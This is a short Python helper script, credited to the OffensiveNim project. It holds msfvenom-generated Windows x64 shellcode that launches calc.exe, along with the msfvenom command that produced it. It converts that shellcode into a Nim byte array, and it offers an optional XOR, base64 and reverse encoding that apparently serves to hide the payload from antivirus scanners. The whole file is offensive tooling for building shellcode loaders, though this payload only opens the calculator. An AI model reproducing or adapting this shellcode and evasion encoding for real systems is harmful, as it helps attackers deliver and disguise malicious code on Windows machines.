#!/usr/bin/env python3
"""
Reference: OffensiveNim

Byte arrays are defined in a specific way in nim:
    var buf: array[5, byte] = [byte 0xfc,0x48,0x81,0xe4,0xf0,0xff]

This helper script will take a python buffer and output a byte array 
for nim
"""

from base64 import b64encode
import re

# buf to be replaced with shellcode
# msfvenom -p windows/x64/exec CMD="C:\Windows\System32\Calc.exe" -f py
buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x59\x41\x89\xda\xff\xd5\x43\x3a\x5c\x57\x69\x6e"
buf += b"\x64\x6f\x77\x73\x5c\x53\x79\x73\x74\x65\x6d\x33\x32"
buf += b"\x5c\x43\x61\x6c\x63\x2e\x65\x78\x65\x00"


def sc_to_nim(buf):
    """
    Python shellcode buffer converted to nim shellcode buffer
    """
    header = f"var buf: array[{len(buf)}, byte] = [\nbyte  "
    footer = "]"

    payload = header

    for i,v in enumerate(buf):
        if i % 13 == 0 and i != 0:
            payload += "\n"
        
        payload += "0x{:02x}".format(v)   
        
        if i != len(buf)-1:
            payload += ", "
        else:
            payload += footer

    print(payload)

def sc_to_nim_b64_and_xor(buf):
    """
    py sc -> string shellcode separated by comma:
        but xored, b64ed, then reversed
        nice
    """
    payload = ""
    for i,v in enumerate(buf):
    
        payload += "0x{:02x}".format(v ^ 0x69)        # nice
        
        if i != len(buf)-1:
            payload += ","

    b64payload = b64encode(payload.encode()).decode()
    revpayload = b64payload[::-1]
    print(revpayload)

def main():
    sc_to_nim(buf)
    # sc_to_nim_b64_and_xor(buf)

if __name__ == "__main__":
    main()